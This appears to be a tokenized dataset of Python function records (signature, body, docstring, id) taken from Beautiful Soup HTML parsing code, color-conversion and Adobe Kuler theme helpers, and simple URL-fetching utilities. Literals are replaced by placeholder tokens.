{"signature": "def find(self, name=None, attrs={}, recursive=True, text=None,<EOL>**kwargs):", "body": "r = None<EOL>l = self.findAll(name, attrs, recursive, text, <NUM_LIT:1>, **kwargs)<EOL>if l:<EOL><INDENT>r = l[<NUM_LIT:0>]<EOL><DEDENT>return r<EOL>", "docstring": "Return only the first child of this Tag matching the given\n        criteria.", "id": "f11596:c6:m23"}
{"signature": "def findAll(self, name=None, attrs={}, recursive=True, text=None,<EOL>limit=None, **kwargs):", "body": "generator = self.recursiveChildGenerator<EOL>if not recursive:<EOL><INDENT>generator = self.childGenerator<EOL><DEDENT>return self._findAll(name, attrs, text, limit, generator, **kwargs)<EOL>", "docstring": "Extracts a list of Tag objects that match the given\n        criteria.  You can specify the name of the Tag and any\n        attributes you want the Tag to have.\n\n        The value of a key-value pair in the 'attrs' map can be a\n        string, a list of strings, a regular expression object, or a\n        callable that takes a string and returns whether or not the\n        string matches for some custom definition of 'matches'. The\n        same is true of the tag name.", "id": "f11596:c6:m24"}
{"signature": "def _getAttrMap(self):", "body": "if not getattr(self, '<STR_LIT>'):<EOL><INDENT>self.attrMap = {}<EOL>for (key, value) in self.attrs:<EOL><INDENT>self.attrMap[key] = value<EOL><DEDENT><DEDENT>return self.attrMap<EOL>", "docstring": "Initializes a map representation of this tag's attributes,\n        if not already initialized.", "id": "f11596:c6:m27"}
{"signature": "def __init__(self, markup=\"<STR_LIT>\", parseOnlyThese=None, fromEncoding=None,<EOL>markupMassage=True, smartQuotesTo=XML_ENTITIES,<EOL>convertEntities=None, selfClosingTags=None, isHTML=False):", "body": "self.parseOnlyThese = parseOnlyThese<EOL>self.fromEncoding = fromEncoding<EOL>self.smartQuotesTo = smartQuotesTo<EOL>self.convertEntities = convertEntities<EOL>if self.convertEntities:<EOL><INDENT>self.smartQuotesTo = None<EOL>if convertEntities == self.HTML_ENTITIES:<EOL><INDENT>self.convertXMLEntities = False<EOL>self.convertHTMLEntities = True<EOL>self.escapeUnrecognizedEntities = True<EOL><DEDENT>elif convertEntities == self.XHTML_ENTITIES:<EOL><INDENT>self.convertXMLEntities = True<EOL>self.convertHTMLEntities = True<EOL>self.escapeUnrecognizedEntities = False<EOL><DEDENT>elif convertEntities == self.XML_ENTITIES:<EOL><INDENT>self.convertXMLEntities = True<EOL>self.convertHTMLEntities = False<EOL>self.escapeUnrecognizedEntities = False<EOL><DEDENT><DEDENT>else:<EOL><INDENT>self.convertXMLEntities = False<EOL>self.convertHTMLEntities = False<EOL>self.escapeUnrecognizedEntities = False<EOL><DEDENT>self.instanceSelfClosingTags = buildTagMap(None, selfClosingTags)<EOL>SGMLParser.__init__(self)<EOL>if hasattr(markup, '<STR_LIT>'):        <EOL><INDENT>markup = markup.read()<EOL><DEDENT>self.markup = markup<EOL>self.markupMassage = markupMassage<EOL>try:<EOL><INDENT>self._feed(isHTML=isHTML)<EOL><DEDENT>except StopParsing:<EOL><INDENT>pass<EOL><DEDENT>self.markup = None                 <EOL>", "docstring": "The Soup object is initialized as the 'root tag', and the\n        provided markup (which can be a string or a file-like object)\n        is fed into the underlying parser.\n\n        sgmllib will process most bad HTML, and the BeautifulSoup\n        class has some tricks for dealing with some HTML that kills\n        sgmllib, but Beautiful Soup can nonetheless choke or lose data\n        if your data uses self-closing tags or declarations\n        incorrectly.\n\n        By default, Beautiful Soup uses regexes to sanitize input,\n        avoiding the vast majority of these problems. If the problems\n        don't apply to you, pass in False for markupMassage, and\n        you'll get better performance.\n\n        The default parser massage techniques fix the two most common\n        instances of invalid HTML that choke sgmllib:\n\n         <br/> (No space between name of closing tag and tag close)\n         <! --Comment--> (Extraneous whitespace in declaration)\n\n        You can pass in a custom list of (RE object, replace method)\n        tuples to get Beautiful Soup to scrub your input the way you\n        want.", "id": "f11596:c9:m0"}
{"signature": "def convert_charref(self, name):", "body": "try:<EOL><INDENT>n = int(name)<EOL><DEDENT>except ValueError:<EOL><INDENT>return<EOL><DEDENT>if not <NUM_LIT:0> <= n <= <NUM_LIT> : <EOL><INDENT>return<EOL><DEDENT>return self.convert_codepoint(n)<EOL>", "docstring": "This method fixes a bug in Python's SGMLParser.", "id": "f11596:c9:m1"}
{"signature": "def __getattr__(self, methodName):", "body": "<EOL>if methodName.find('<STR_LIT>') == <NUM_LIT:0> or methodName.find('<STR_LIT>') == <NUM_LIT:0>or methodName.find('<STR_LIT>') == <NUM_LIT:0>:<EOL><INDENT>return SGMLParser.__getattr__(self, methodName)<EOL><DEDENT>elif methodName.find('<STR_LIT>') != <NUM_LIT:0>:<EOL><INDENT>return Tag.__getattr__(self, methodName)<EOL><DEDENT>else:<EOL><INDENT>raise AttributeError<EOL><DEDENT>", "docstring": "This method routes method call requests to either the SGMLParser\n        superclass or the Tag superclass, depending on the method name.", "id": "f11596:c9:m3"}
{"signature": "def isSelfClosingTag(self, name):", "body": "return name in self.SELF_CLOSING_TAGSor name in self.instanceSelfClosingTags<EOL>", "docstring": "Returns true iff the given string is the name of a\n        self-closing tag according to this parser.", "id": "f11596:c9:m4"}
{"signature": "def _popToTag(self, name, inclusivePop=True):", "body": "<EOL>if name == self.ROOT_TAG_NAME:<EOL><INDENT>return<EOL><DEDENT>numPops = <NUM_LIT:0><EOL>mostRecentTag = None<EOL>for i in range(len(self.tagStack)-<NUM_LIT:1>, <NUM_LIT:0>, -<NUM_LIT:1>):<EOL><INDENT>if name == self.tagStack[i].name:<EOL><INDENT>numPops = len(self.tagStack)-i<EOL>break<EOL><DEDENT><DEDENT>if not inclusivePop:<EOL><INDENT>numPops = numPops - <NUM_LIT:1><EOL><DEDENT>for i in range(<NUM_LIT:0>, numPops):<EOL><INDENT>mostRecentTag = self.popTag()<EOL><DEDENT>return mostRecentTag<EOL>", "docstring": "Pops the tag stack up to and including the most recent\n        instance of the given tag. If inclusivePop is false, pops the tag\n        stack up to but *not* including the most recent instqance of\n        the given tag.", "id": "f11596:c9:m9"}
{"signature": "def _smartPop(self, name):", "body": "nestingResetTriggers = self.NESTABLE_TAGS.get(name)<EOL>isNestable = nestingResetTriggers != None<EOL>isResetNesting = name in self.RESET_NESTING_TAGS<EOL>popTo = None<EOL>inclusive = True<EOL>for i in range(len(self.tagStack)-<NUM_LIT:1>, <NUM_LIT:0>, -<NUM_LIT:1>):<EOL><INDENT>p = self.tagStack[i]<EOL>if (not p or p.name == name) and not isNestable:<EOL><INDENT>popTo = name<EOL>break<EOL><DEDENT>if (nestingResetTriggers != None<EOL>and p.name in nestingResetTriggers)or (nestingResetTriggers == None and isResetNesting<EOL>and p.name in self.RESET_NESTING_TAGS):<EOL><INDENT>popTo = p.name<EOL>inclusive = False<EOL>break<EOL><DEDENT>p = p.parent<EOL><DEDENT>if popTo:<EOL><INDENT>self._popToTag(popTo, inclusive)<EOL><DEDENT>", "docstring": "We need to pop up to the previous tag of this type, unless\n        one of this tag's nesting reset triggers comes between this\n        tag and the previous tag of this type, OR unless this tag is a\n        generic nesting trigger and another generic nesting trigger\n        comes between this tag and the previous tag of this type.\n\n        Examples:\n         <p>Foo<b>Bar *<p>* should pop to 'p', not 'b'.\n         <p>Foo<table>Bar *<p>* should pop to 'table', not 'p'.\n         <p>Foo<table><tr>Bar *<p>* should pop to 'tr', not 'p'.\n\n         <li><ul><li> *<li>* should pop to 'ul', not the first 'li'.\n         <tr><table><tr> *<tr>* should pop to 'table', not the first 'tr'\n         <td><tr><td> *<td>* should pop to 'tr', not the first 'td'", "id": "f11596:c9:m10"}
{"signature": "def _toStringSubclass(self, text, subclass):", "body": "self.endData()<EOL>self.handle_data(text)<EOL>self.endData(subclass)<EOL>", "docstring": "Adds a certain piece of text to the tree as a NavigableString\n        subclass.", "id": "f11596:c9:m14"}
{"signature": "def handle_pi(self, text):", "body": "if text[:<NUM_LIT:3>] == \"<STR_LIT>\":<EOL><INDENT>text = \"<STR_LIT>\"<EOL><DEDENT>self._toStringSubclass(text, ProcessingInstruction)<EOL>", "docstring": "Handle a processing instruction as a ProcessingInstruction\n        object, possibly one with a %SOUP-ENCODING% slot into which an\n        encoding will be plugged later.", "id": "f11596:c9:m15"}
{"signature": "def handle_comment(self, text):", "body": "self._toStringSubclass(text, Comment)<EOL>", "docstring": "Handle comments as Comment objects.", "id": "f11596:c9:m16"}
{"signature": "def handle_charref(self, ref):", "body": "if self.convertEntities:<EOL><INDENT>data = chr(int(ref))<EOL><DEDENT>else:<EOL><INDENT>data = '<STR_LIT>' % ref<EOL><DEDENT>self.handle_data(data)<EOL>", "docstring": "Handle character references as data.", "id": "f11596:c9:m17"}
{"signature": "def handle_entityref(self, ref):", "body": "data = None<EOL>if self.convertHTMLEntities:<EOL><INDENT>try:<EOL><INDENT>data = chr(name2codepoint[ref])<EOL><DEDENT>except KeyError:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>if not data and self.convertXMLEntities:<EOL><INDENT>data = self.XML_ENTITIES_TO_SPECIAL_CHARS.get(ref)<EOL><DEDENT>if not data and self.convertHTMLEntities andnot self.XML_ENTITIES_TO_SPECIAL_CHARS.get(ref):<EOL><INDENT>data = \"<STR_LIT>\" % ref<EOL><DEDENT>if not data:<EOL><INDENT>data = \"<STR_LIT>\" % ref<EOL><DEDENT>self.handle_data(data)<EOL>", "docstring": "Handle entity references as data, possibly converting known\n        HTML and/or XML entity references to the corresponding Unicode\n        characters.", "id": "f11596:c9:m18"}
{"signature": "def handle_decl(self, data):", "body": "self._toStringSubclass(data, Declaration)<EOL>", "docstring": "Handle DOCTYPEs and the like as Declaration objects.", "id": "f11596:c9:m19"}
{"signature": "def parse_declaration(self, i):", "body": "j = None<EOL>if self.rawdata[i:i+<NUM_LIT:9>] == '<STR_LIT>':<EOL><INDENT>k = self.rawdata.find('<STR_LIT>', i)<EOL>if k == -<NUM_LIT:1>:<EOL><INDENT>k = len(self.rawdata)<EOL><DEDENT>data = self.rawdata[i+<NUM_LIT:9>:k]<EOL>j = k+<NUM_LIT:3><EOL>self._toStringSubclass(data, CData)<EOL><DEDENT>else:<EOL><INDENT>try:<EOL><INDENT>j = SGMLParser.parse_declaration(self, i)<EOL><DEDENT>except SGMLParseError:<EOL><INDENT>toHandle = self.rawdata[i:]<EOL>self.handle_data(toHandle)<EOL>j = i + len(toHandle)<EOL><DEDENT><DEDENT>return j<EOL>", "docstring": "Treat a bogus SGML declaration as raw data. Treat a CDATA\n        declaration as a CData object.", "id": "f11596:c9:m20"}
{"signature": "def start_meta(self, attrs):", "body": "httpEquiv = None<EOL>contentType = None<EOL>contentTypeIndex = None<EOL>tagNeedsEncodingSubstitution = False<EOL>for i in range(<NUM_LIT:0>, len(attrs)):<EOL><INDENT>key, value = attrs[i]<EOL>key = key.lower()<EOL>if key == '<STR_LIT>':<EOL><INDENT>httpEquiv = value<EOL><DEDENT>elif key == '<STR_LIT:content>':<EOL><INDENT>contentType = value<EOL>contentTypeIndex = i<EOL><DEDENT><DEDENT>if httpEquiv and contentType: <EOL><INDENT>match = self.CHARSET_RE.search(contentType)<EOL>if match:<EOL><INDENT>if (self.declaredHTMLEncoding is not None or<EOL>self.originalEncoding == self.fromEncoding):<EOL><INDENT>def rewrite(match):<EOL><INDENT>return match.group(<NUM_LIT:1>) + \"<STR_LIT>\"<EOL><DEDENT>newAttr = self.CHARSET_RE.sub(rewrite, contentType)<EOL>attrs[contentTypeIndex] = (attrs[contentTypeIndex][<NUM_LIT:0>],<EOL>newAttr)<EOL>tagNeedsEncodingSubstitution = True<EOL><DEDENT>else:<EOL><INDENT>newCharset = match.group(<NUM_LIT:3>)<EOL>if newCharset and newCharset != self.originalEncoding:<EOL><INDENT>self.declaredHTMLEncoding = newCharset<EOL>self._feed(self.declaredHTMLEncoding)<EOL>raise StopParsing<EOL><DEDENT>pass<EOL><DEDENT><DEDENT><DEDENT>tag = self.unknown_starttag(\"<STR_LIT>\", attrs)<EOL>if tag and tagNeedsEncodingSubstitution:<EOL><INDENT>tag.containsSubstitutions = True<EOL><DEDENT>", "docstring": "Beautiful Soup can detect a charset included in a META tag,\n        try to convert the document to that charset, and re-parse the\n        document from the beginning.", "id": "f11596:c10:m1"}
{"signature": "def _subMSChar(self, orig):", "body": "sub = self.MS_CHARS.get(orig)<EOL>if type(sub) == tuple:<EOL><INDENT>if self.smartQuotesTo == '<STR_LIT>':<EOL><INDENT>sub = '<STR_LIT>' % sub[<NUM_LIT:1>]<EOL><DEDENT>else:<EOL><INDENT>sub = '<STR_LIT>' % sub[<NUM_LIT:0>]<EOL><DEDENT><DEDENT>return sub<EOL>", "docstring": "Changes a MS smart quote character to an XML or HTML\n        entity.", "id": "f11596:c20:m1"}
{"signature": "def _toUnicode(self, data, encoding):", "body": "<EOL>if (len(data) >= <NUM_LIT:4>) and (data[:<NUM_LIT:2>] == '<STR_LIT>')and (data[<NUM_LIT:2>:<NUM_LIT:4>] != '<STR_LIT>'):<EOL><INDENT>encoding = '<STR_LIT>'<EOL>data = data[<NUM_LIT:2>:]<EOL><DEDENT>elif (len(data) >= <NUM_LIT:4>) and (data[:<NUM_LIT:2>] == '<STR_LIT>')and (data[<NUM_LIT:2>:<NUM_LIT:4>] != '<STR_LIT>'):<EOL><INDENT>encoding = '<STR_LIT>'<EOL>data = data[<NUM_LIT:2>:]<EOL><DEDENT>elif data[:<NUM_LIT:3>] == '<STR_LIT>':<EOL><INDENT>encoding = '<STR_LIT:utf-8>'<EOL>data = data[<NUM_LIT:3>:]<EOL><DEDENT>elif data[:<NUM_LIT:4>] == '<STR_LIT>':<EOL><INDENT>encoding = '<STR_LIT>'<EOL>data = data[<NUM_LIT:4>:]<EOL><DEDENT>elif data[:<NUM_LIT:4>] == '<STR_LIT>':<EOL><INDENT>encoding = '<STR_LIT>'<EOL>data = data[<NUM_LIT:4>:]<EOL><DEDENT>newdata = str(data, encoding)<EOL>return newdata<EOL>", "docstring": "Given a string and its encoding, decodes the string into Unicode.\n        %encoding is a string recognized by encodings.aliases", "id": "f11596:c20:m3"}
{"signature": "def _detectEncoding(self, xml_data, isHTML=False):", "body": "xml_encoding = sniffed_xml_encoding = None<EOL>try:<EOL><INDENT>if xml_data[:<NUM_LIT:4>] == '<STR_LIT>':<EOL><INDENT>xml_data = self._ebcdic_to_ascii(xml_data)<EOL><DEDENT>elif xml_data[:<NUM_LIT:4>] == '<STR_LIT>':<EOL><INDENT>sniffed_xml_encoding = '<STR_LIT>'<EOL>xml_data = str(xml_data, '<STR_LIT>').encode('<STR_LIT:utf-8>')<EOL><DEDENT>elif (len(xml_data) >= <NUM_LIT:4>) and (xml_data[:<NUM_LIT:2>] == '<STR_LIT>')and (xml_data[<NUM_LIT:2>:<NUM_LIT:4>] != '<STR_LIT>'):<EOL><INDENT>sniffed_xml_encoding = '<STR_LIT>'<EOL>xml_data = str(xml_data[<NUM_LIT:2>:], '<STR_LIT>').encode('<STR_LIT:utf-8>')<EOL><DEDENT>elif xml_data[:<NUM_LIT:4>] == '<STR_LIT>':<EOL><INDENT>sniffed_xml_encoding = '<STR_LIT>'<EOL>xml_data = str(xml_data, '<STR_LIT>').encode('<STR_LIT:utf-8>')<EOL><DEDENT>elif (len(xml_data) >= <NUM_LIT:4>) and (xml_data[:<NUM_LIT:2>] == '<STR_LIT>') and(xml_data[<NUM_LIT:2>:<NUM_LIT:4>] != '<STR_LIT>'):<EOL><INDENT>sniffed_xml_encoding = '<STR_LIT>'<EOL>xml_data = str(xml_data[<NUM_LIT:2>:], '<STR_LIT>').encode('<STR_LIT:utf-8>')<EOL><DEDENT>elif xml_data[:<NUM_LIT:4>] == '<STR_LIT>':<EOL><INDENT>sniffed_xml_encoding = '<STR_LIT>'<EOL>xml_data = str(xml_data, '<STR_LIT>').encode('<STR_LIT:utf-8>')<EOL><DEDENT>elif xml_data[:<NUM_LIT:4>] == '<STR_LIT>':<EOL><INDENT>sniffed_xml_encoding = '<STR_LIT>'<EOL>xml_data = str(xml_data, '<STR_LIT>').encode('<STR_LIT:utf-8>')<EOL><DEDENT>elif xml_data[:<NUM_LIT:4>] == '<STR_LIT>':<EOL><INDENT>sniffed_xml_encoding = '<STR_LIT>'<EOL>xml_data = str(xml_data[<NUM_LIT:4>:], '<STR_LIT>').encode('<STR_LIT:utf-8>')<EOL><DEDENT>elif xml_data[:<NUM_LIT:4>] == '<STR_LIT>':<EOL><INDENT>sniffed_xml_encoding = '<STR_LIT>'<EOL>xml_data = str(xml_data[<NUM_LIT:4>:], '<STR_LIT>').encode('<STR_LIT:utf-8>')<EOL><DEDENT>elif xml_data[:<NUM_LIT:3>] == '<STR_LIT>':<EOL><INDENT>sniffed_xml_encoding = '<STR_LIT:utf-8>'<EOL>xml_data = str(xml_data[<NUM_LIT:3>:], '<STR_LIT:utf-8>').encode('<STR_LIT:utf-8>')<EOL><DEDENT>else:<EOL><INDENT>sniffed_xml_encoding = '<STR_LIT:ascii>'<EOL>pass<EOL><DEDENT><DEDENT>except:<EOL><INDENT>xml_encoding_match = None<EOL><DEDENT>xml_encoding_match = re.compile(<EOL>'<STR_LIT>').match(xml_data)<EOL>if not xml_encoding_match and isHTML:<EOL><INDENT>regexp = re.compile('<STR_LIT>', re.I)<EOL>xml_encoding_match = regexp.search(xml_data)<EOL><DEDENT>if xml_encoding_match is not None:<EOL><INDENT>xml_encoding = xml_encoding_match.groups()[<NUM_LIT:0>].lower()<EOL>if isHTML:<EOL><INDENT>self.declaredHTMLEncoding = xml_encoding<EOL><DEDENT>if sniffed_xml_encoding and(xml_encoding in ('<STR_LIT>', '<STR_LIT>', '<STR_LIT>',<EOL>'<STR_LIT>', '<STR_LIT>', '<STR_LIT>',<EOL>'<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>',<EOL>'<STR_LIT>', '<STR_LIT>')):<EOL><INDENT>xml_encoding = sniffed_xml_encoding<EOL><DEDENT><DEDENT>return xml_data, xml_encoding, sniffed_xml_encoding<EOL>", "docstring": "Given a document, tries to detect its XML encoding.", "id": "f11596:c20:m4"}
{"signature": "def replace_entities(ustring, placeholder=\"<STR_LIT:U+0020>\"):", "body": "def _repl_func(match):<EOL><INDENT>try:<EOL><INDENT>if match.group(<NUM_LIT:1>): <EOL><INDENT>return unichr( int(match.group(<NUM_LIT:2>)) ) <EOL><DEDENT>else:<EOL><INDENT>try: return cp1252[ unichr(int(match.group(<NUM_LIT:3>))) ].strip()<EOL>except: return unichr( name2codepoint[match.group(<NUM_LIT:3>)] )<EOL><DEDENT><DEDENT>except:<EOL><INDENT>return placeholder<EOL><DEDENT><DEDENT>if not isinstance(ustring, unicode):<EOL><INDENT>ustring = UnicodeDammit(ustring).unicode<EOL><DEDENT>ustring = ustring.replace(\"<STR_LIT>\", \"<STR_LIT:U+0020>\")<EOL>_entity_re = re.compile(r'<STR_LIT>') <EOL>return _entity_re.sub(_repl_func, ustring)<EOL>", "docstring": "Replaces HTML special characters by readable characters.\n\n    As taken from Leif K-Brooks algorithm on:\n    http://groups-beta.google.com/group/comp.lang.python", "id": "f11598:m1"}
{"signature": "def _darkest(self):", "body": "rgb, n = (<NUM_LIT:1.0>, <NUM_LIT:1.0>, <NUM_LIT:1.0>), <NUM_LIT><EOL>for r,g,b in self:<EOL><INDENT>if r+g+b < n:<EOL><INDENT>rgb, n = (r,g,b), r+g+b<EOL><DEDENT><DEDENT>return rgb<EOL>", "docstring": "Returns the darkest swatch.\n\n        Knowing the contract between a light and a dark swatch\n        can help us decide how to display readable typography.", "id": "f11600:c0:m1"}
{"signature": "def __init__(self, q, page=<NUM_LIT:0>, wait=<NUM_LIT:10>, asynchronous=False, cached=True):", "body": "if cached: <EOL><INDENT>cache = \"<STR_LIT>\"<EOL><DEDENT>else:<EOL><INDENT>cache = None<EOL><DEDENT>url  = \"<STR_LIT>\"<EOL>if isinstance(q, int):<EOL><INDENT>url += \"<STR_LIT>\" + str(q)  <EOL><DEDENT>elif q in [\"<STR_LIT>\", \"<STR_LIT>\"]:<EOL><INDENT>url += \"<STR_LIT>\" + q<EOL><DEDENT>else:<EOL><INDENT>url += \"<STR_LIT>\" + quote(q)<EOL><DEDENT>if q == \"<STR_LIT>\":<EOL><INDENT>if cached and Cache(cache).age(url) > <NUM_LIT:0>:<EOL><INDENT>Cache(cache).remove(url)<EOL><DEDENT><DEDENT>if q == \"<STR_LIT>\":<EOL><INDENT>Cache(cache).remove(url)<EOL><DEDENT>URLAccumulator.__init__(self, url, wait, asynchronous, cache, type=\"<STR_LIT>\", throttle=<NUM_LIT:3>)<EOL>", "docstring": "Parses color themes from Adobe Kuler.\n\n        Valid queries are \"popular\", \"rating\", \n        a theme id as an integer, or a search string.", "id": "f11600:c1:m0"}
{"signature": "def lab_to_rgb(l, a, b):", "body": "y = (l+<NUM_LIT:16>) / <NUM_LIT><EOL>x = a/<NUM_LIT> + y<EOL>z = y - b/<NUM_LIT><EOL>v = [x,y,z]<EOL>for i in range(<NUM_LIT:3>):<EOL><INDENT>if pow(v[i],<NUM_LIT:3>) > <NUM_LIT>: <EOL><INDENT>v[i] = pow(v[i],<NUM_LIT:3>)<EOL><DEDENT>else: <EOL><INDENT>v[i] = (v[i]-<NUM_LIT:16>/<NUM_LIT>) / <NUM_LIT><EOL><DEDENT><DEDENT>x = v[<NUM_LIT:0>] * <NUM_LIT>/<NUM_LIT:100><EOL>y = v[<NUM_LIT:1>] * <NUM_LIT>/<NUM_LIT:100><EOL>z = v[<NUM_LIT:2>] * <NUM_LIT>/<NUM_LIT:100><EOL>r = x * <NUM_LIT> + y *-<NUM_LIT> + z *-<NUM_LIT><EOL>g = x *-<NUM_LIT> + y * <NUM_LIT> + z * <NUM_LIT><EOL>b = x * <NUM_LIT> + y *-<NUM_LIT> + z * <NUM_LIT><EOL>v = [r,g,b]<EOL>for i in range(<NUM_LIT:3>):<EOL><INDENT>if v[i] > <NUM_LIT>:<EOL><INDENT>v[i] = <NUM_LIT> * pow(v[i], <NUM_LIT:1>/<NUM_LIT>) - <NUM_LIT><EOL><DEDENT>else:<EOL><INDENT>v[i] = <NUM_LIT> * v[i]<EOL><DEDENT><DEDENT>r, g, b = v[<NUM_LIT:0>], v[<NUM_LIT:1>], v[<NUM_LIT:2>]<EOL>return r, g, b<EOL>", "docstring": "Converts CIE Lab to RGB components.\n\n    First we have to convert to XYZ color space.\n    Conversion involves using a white point,\n    in this case D65 which represents daylight illumination.\n\n    Algorithms adopted from:\n    http://www.easyrgb.com/math.php", "id": "f11601:m3"}
{"signature": "def _darkest(self):", "body": "rgb, n = (<NUM_LIT:1.0>, <NUM_LIT:1.0>, <NUM_LIT:1.0>), <NUM_LIT><EOL>for r,g,b in self:<EOL><INDENT>if r+g+b < n:<EOL><INDENT>rgb, n = (r,g,b), r+g+b<EOL><DEDENT><DEDENT>return rgb<EOL>", "docstring": "Returns the darkest swatch.\n\n        Knowing the contract between a light and a dark swatch\n        can help us decide how to display readable typography.", "id": "f11601:c0:m1"}
{"signature": "def __init__(self, q, page=<NUM_LIT:0>, wait=<NUM_LIT:10>, asynchronous=False, cached=True):", "body": "if cached: <EOL><INDENT>cache = \"<STR_LIT>\"<EOL><DEDENT>else:<EOL><INDENT>cache = None<EOL><DEDENT>url  = \"<STR_LIT>\"<EOL>self.id_string = url + \"<STR_LIT>\"<EOL>if isinstance(q, int):<EOL><INDENT>url  = self.id_string + str(q)  <EOL><DEDENT>elif q in [\"<STR_LIT>\", \"<STR_LIT>\"]:<EOL><INDENT>url += \"<STR_LIT>\"+q<EOL>url += \"<STR_LIT>\"+str(page*<NUM_LIT:30>)+\"<STR_LIT>\"<EOL><DEDENT>else:<EOL><INDENT>url += \"<STR_LIT>\"+quote(q)<EOL>url += \"<STR_LIT>\"+str(page*<NUM_LIT:30>)+\"<STR_LIT>\"<EOL><DEDENT>if q in [\"<STR_LIT>\", \"<STR_LIT>\"]:<EOL><INDENT>if cached and Cache(cache).age(url) > <NUM_LIT:0>:<EOL><INDENT>Cache(cache).remove(url)<EOL><DEDENT><DEDENT>URLAccumulator.__init__(self, url, wait, asynchronous, cache, type=\"<STR_LIT>\", throttle=<NUM_LIT:3>)<EOL>", "docstring": "Parses color themes from Adobe Kuler.\n\n        Valid queries are \"popular\", \"rating\", \n        a theme id as an integer, or a search string.", "id": "f11601:c1:m0"}
{"signature": "def parse_theme(self, xml):", "body": "kt = KulerTheme()        <EOL>kt.author = xml.getElementsByTagName(\"<STR_LIT>\")[<NUM_LIT:0>]<EOL>kt.author = kt.author.childNodes[<NUM_LIT:1>].childNodes[<NUM_LIT:0>].nodeValue<EOL>kt.id = int(self.parse_tag(xml, \"<STR_LIT:id>\"))<EOL>kt.label = self.parse_tag(xml, \"<STR_LIT:label>\")<EOL>mode = self.parse_tag(xml, \"<STR_LIT>\")<EOL>for swatch in xml.getElementsByTagName(\"<STR_LIT>\"):<EOL><INDENT>c1 = float(self.parse_tag(swatch, \"<STR_LIT>\"))<EOL>c2 = float(self.parse_tag(swatch, \"<STR_LIT>\"))<EOL>c3 = float(self.parse_tag(swatch, \"<STR_LIT>\"))<EOL>c4 = float(self.parse_tag(swatch, \"<STR_LIT>\"))<EOL>if mode == \"<STR_LIT>\":<EOL><INDENT>kt.append((c1,c2,c3))<EOL><DEDENT>if mode == \"<STR_LIT>\":   <EOL><INDENT>kt.append(cmyk_to_rgb(c1,c2,c3,c4))<EOL><DEDENT>if mode == \"<STR_LIT>\":<EOL><INDENT>kt.append(colorsys.hsv_to_rgb(c1,c2,c3))<EOL><DEDENT>if mode == \"<STR_LIT>\":<EOL><INDENT>kt.append(hex_to_rgb(c1))<EOL><DEDENT>if mode == \"<STR_LIT>\":<EOL><INDENT>kt.append(lab_to_rgb(c1,c2,c3))<EOL><DEDENT><DEDENT>if self._cache.exists(self.id_string + str(kt.id)):<EOL><INDENT>xml = self._cache.read(self.id_string + str(kt.id))<EOL>xml = minidom.parseString(xml)<EOL><DEDENT>for tags in xml.getElementsByTagName(\"<STR_LIT>\"):<EOL><INDENT>tags = self.parse_tag(tags, \"<STR_LIT:label>\")<EOL>tags = tags.split(\"<STR_LIT:U+0020>\")<EOL>kt.tags.extend(tags)<EOL><DEDENT>return kt<EOL>", "docstring": "Parses a theme from XML returned by Kuler.\n\n        Gets the theme's id, label and swatches.\n        All of the swatches are converted to RGB.\n        If we have a full description for a theme id in cache,\n        parse that to get tags associated with the theme.", "id": "f11601:c1:m3"}
{"signature": "def download(self, size=SIZE_XLARGE, thumbnail=False, wait=<NUM_LIT>, asynchronous=False):", "body": "if thumbnail == True: size = SIZE_THUMBNAIL <EOL>self._size = disambiguate_size(size)<EOL>self._wait = wait<EOL>self._asynchronous = asynchronous<EOL>url  = \"<STR_LIT>\"<EOL>url += \"<STR_LIT>\" + self.id<EOL>url += \"<STR_LIT>\" + API_KEY<EOL>URLAccumulator.__init__(self, url, wait, asynchronous, \"<STR_LIT>\", \"<STR_LIT>\", <NUM_LIT:2>)<EOL>if not asynchronous:<EOL><INDENT>return self.path<EOL><DEDENT>", "docstring": "Downloads this image to cache.\n\n        Calling the download() method instantiates an asynchronous URLAccumulator\n        that will fetch the image's URL from Flickr.\n        A second process then downloads the file at the retrieved URL.\n\n        Once it is done downloading, this image will have its path property\n        set to an image file in the cache.", "id": "f11602:c0:m3"}
{"signature": "def open(url, wait=<NUM_LIT:10>):", "body": "<EOL>post = None<EOL>if isinstance(url, URLParser) and url.method == \"<STR_LIT>\":<EOL><INDENT>post = urllib.parse.urlencode(url.query)<EOL><DEDENT>url = str(url)<EOL>if os.path.exists(url):<EOL><INDENT>return urllib.request.urlopen(url)<EOL><DEDENT>else:<EOL><INDENT>socket.setdefaulttimeout(wait)<EOL>try:<EOL><INDENT>request = urllib.request.Request(url, post, {\"<STR_LIT>\": USER_AGENT, \"<STR_LIT>\": REFERER})<EOL>if PROXY:<EOL><INDENT>p = urllib.request.ProxyHandler({PROXY[<NUM_LIT:1>]: PROXY[<NUM_LIT:0>]})<EOL>o = urllib.request.build_opener(p, urllib.request.HTTPHandler)<EOL>urllib.request.install_opener(o)<EOL><DEDENT>connection = urllib.request.urlopen(request)<EOL><DEDENT>except urllib.error.HTTPError as e:<EOL><INDENT>if e.code == <NUM_LIT>: raise HTTP401Authentication<EOL>if e.code == <NUM_LIT>: raise HTTP403Forbidden<EOL>if e.code == <NUM_LIT>: raise HTTP404NotFound<EOL>raise HTTPError<EOL><DEDENT>except urllib.error.URLError as e:<EOL><INDENT>if e.reason[<NUM_LIT:0>] == <NUM_LIT>: raise URLTimeout<EOL>raise URLError<EOL><DEDENT><DEDENT>return connection<EOL>", "docstring": "Returns a connection to a url which you can read().\n\n    When the wait amount is exceeded, raises a URLTimeout.\n    When an error occurs, raises a URLError.\n    404 errors specifically return a HTTP404NotFound.", "id": "f11604:m3"}
{"signature": "def is_url(url, wait=<NUM_LIT:10>):", "body": "try: connection = open(url, wait)<EOL>except:<EOL><INDENT>return False<EOL><DEDENT>return True<EOL>", "docstring": "Returns False when no connection can be opened to the url.", "id": "f11604:m4"}
{"signature": "def not_found(url, wait=<NUM_LIT:10>):", "body": "try: connection = open(url, wait)<EOL>except HTTP404NotFound:<EOL><INDENT>return True<EOL><DEDENT>except:<EOL><INDENT>return False<EOL><DEDENT>return False<EOL>", "docstring": "Returns True when the url generates a \"404 Not Found\" error.", "id": "f11604:m5"}
